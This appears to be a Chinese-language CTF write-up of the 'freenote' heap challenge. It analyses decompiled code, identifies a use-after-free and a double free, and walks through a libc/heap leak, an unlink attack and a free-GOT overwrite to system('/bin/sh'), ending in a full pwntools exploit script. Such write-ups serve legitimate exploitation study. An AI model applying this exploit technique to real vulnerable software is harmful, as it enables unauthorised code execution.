unlink-FreeNote

0x01 程序分析

这是一个记录note的程序:

1
2
3
4
5
6
7
8
9
./freenote
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice:

在bss段全局变量note_addr记录堆中记录note的结构体的开始地址:

1
2
v0 = malloc(0x1810uLL);
note_addr = (__int64)v0;

new

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int new()
{
__int64 v0; // rax
void *v1; // ST18_8
int i; // [rsp+Ch] [rbp-14h]
int v4; // [rsp+10h] [rbp-10h]

if ( *(_QWORD *)(note_addr + 8) < *(_QWORD *)note_addr )
{
for ( i = 0; ; ++i )
{
v0 = *(_QWORD *)note_addr;
if ( (signed __int64)i >= *(_QWORD *)note_addr )
break;
if ( !*(_QWORD *)(note_addr + 24LL * i + 16) )
{
printf("Length of new note: ");
v4 = number();
if ( v4 > 0 )
{
if ( v4 > 4096 )
v4 = 0x1000;
v1 = malloc((128 - v4 % 128) % 128 + v4);
printf("Enter your note: ");
sub_40085D((__int64)v1, v4);
*(_QWORD *)(note_addr + 24LL * i + 16) = 1LL;
*(_QWORD *)(note_addr + 24LL * i + 24) = v4;
*(_QWORD *)(note_addr + 24LL * i + 32) = v1;
++*(_QWORD *)(note_addr + 8);
LODWORD(v0) = puts("Done.");
}

可以得到程序的数据结构:

1
2
3
4
5
6
7
8
note_addr->heap
*note_addr=0x100->max_note_number
*(note_addr+8)=note_number
note_struct{
flag;//标记是否使用
length;//max_length=0x1000
addr;//malloc_note_addr
};

同时注意到malloc:

1
v1 = malloc((128 - v4 % 128) % 128 + v4);

类似malloc的对齐操作:

1
2
3
4
#define request2size(req)                                                      \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

只不过进行了128对齐:

1
len<128 ? malloc(128):malloc(len%128==0? [len/128]*128,([len/128]+1)*128)

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int delete()
{
int v1; // [rsp+Ch] [rbp-4h]

if ( *(_QWORD *)(note_addr + 8) <= 0LL )
return puts("No notes yet.");
printf("Note number: ");
v1 = number();
if ( v1 < 0 || (signed __int64)v1 >= *(_QWORD *)note_addr )
return puts("Invalid number!");
--*(_QWORD *)(note_addr + 8);
*(_QWORD *)(note_addr + 24LL * v1 + 16) = 0LL;
*(_QWORD *)(note_addr + 24LL * v1 + 24) = 0LL;
free(*(void **)(note_addr + 24LL * v1 + 32));
return puts("Done.");
}

将flag和length清零,而后free掉addr,没有置空指针,存在UAF
而且delete只检验了:

1
v1 < 0 || (signed __int64)v1 >= *(_QWORD *)note_addr

存在double free

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int edit()
{
__int64 v1; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]

printf("Note number: ");
v3 = number();
if ( v3 < 0 || (signed __int64)v3 >= *(_QWORD *)note_addr || *(_QWORD *)(note_addr + 24LL * v3 + 16) != 1LL )
return puts("Invalid number!");
printf("Length of note: ");
v2 = number();
if ( v2 <= 0 )
return puts("Invalid length!");
if ( v2 > 4096 )
v2 = 4096;
if ( v2 != *(_QWORD *)(note_addr + 24LL * v3 + 24) )
{
v1 = note_addr;
*(_QWORD *)(v1 + 24LL * v3 + 32) = realloc(*(void **)(note_addr + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);
*(_QWORD *)(note_addr + 24LL * v3 + 24) = v2;
}
printf("Enter your note: ");
sub_40085D(*(_QWORD *)(note_addr + 24LL * v3 + 32), v2);
return puts("Done.");
}

注意到修改时的realloc操作:

1
*(_QWORD *)(v1 + 24LL * v3 + 32) = realloc(*(void **)(note_addr + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);

0x02 漏洞

leak libc

1
2
3
4
5
6
7
8
new(8,"a"*7)
new(8,"a"*7)
delete(0)
new(8,"a"*7)
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78

leak heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
delete(0)
delete(2)
new(8,"a"*7)
new(8,"a"*7)
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("0. aaaaaaa\n")
heap_addr=u64(p.recv(4).ljust(8,"\x00"))
p.recvuntil("2. aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78

开始构造的chunk:

1
2
3
4
5
delete(3)
delete(2)
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60+p64(0x80)+p64(0x90)
new(len(fake_chunk),fake_chunk)
delete(3)

报错:

1
double free or corruption (out)

而后在fake chunk后添加了两个chunk后unlink成功(猜测是与top chunk合并或者进入fastbin的问题,而且构造0x50时会直接进入了fastbin,0x80就会先处于unsorted bin,这些问题有待解决)

1
2
3
4
delete(3)
delete(2)
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60+p64(0x80)+p64(0x90)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
delete(3)

查看保存note结构体的chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> heap
0x20b9000 PREV_INUSE {
prev_size = 0x0,
size = 0x1821,
fd = 0x100,
bk = 0x2,
fd_nextsize = 0x1,
bk_nextsize = 0x8
}

pwndbg> x/100gx 0x20b9000
0x20b9000: 0x0000000000000000 0x0000000000001821
0x20b9010: 0x0000000000000100 0x0000000000000002
0x20b9020: 0x0000000000000001 0x0000000000000008
0x20b9030: 0x00000000020ba830 0x0000000000000001
0x20b9040: 0x0000000000000008 0x00000000020ba8c0
0x20b9050: 0x0000000000000001 0x0000000000000230
0x20b9060: 0x00000000020b9048 0x0000000000000000
0x20b9070: 0x0000000000000000 0x00000000020ba9e0
0x20b9080: 0x0000000000000000 0x0000000000000000
0x20b9090: 0x0000000000000000 0x0000000000000000
......

可以看到unlink成功,note[2]的addr已被改为指向比自己低0x18的地方,即note[1]的addr
而后我们edit(2)即可修改note[1]结构体addr处及其后面的所有值
(注意edit时要输入的length和note[2].length一致,防止其进行realloc)
我们将note[1].addr修改为free的got地址,再edit(1),将free的got地址处修改为system_addr,最后delete一个储存内容为”/bin/sh”的note结构体即会执行system(“/bin/sh”)

system(“/bin/sh”)

1
2
3
edit(2,0x230,p64(elf.got['free'])+p64(0)*0x228)
edit(1,0x8,p64(libc.symbols['system']))
delete(0)

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

#context.log_level = 'debug'
p=process("./freenote")
elf=ELF("./freenote")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def new(length,note):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("note: ")
p.sendline(str(length))
p.recvuntil("note: ")
p.sendline(note)

def edit(num,length,note):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("number: ")
p.sendline(str(num))
p.recvuntil("note: ")
p.sendline(str(length))
p.recvuntil("note: ")
p.sendline(note)


def delete(num):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("number: ")
p.sendline(str(num))


new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
delete(0)
delete(2)
new(8,"/bin/sh")
new(8,"a"*7)
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("0. /bin/sh\n")
heap_addr=u64(p.recvuntil("\n").strip().ljust(8,"\x00"))-0x1940
p.recvuntil("2. aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
delete(3)
delete(2)
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60+p64(0x80)+p64(0x90)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
new(len(fake_chunk),fake_chunk)
delete(3)
edit(2,0x230,p64(elf.got['free'])+p64(0)*0x228)
edit(1,0x8,p64(libc.symbols['system']))
delete(0)
p.interactive()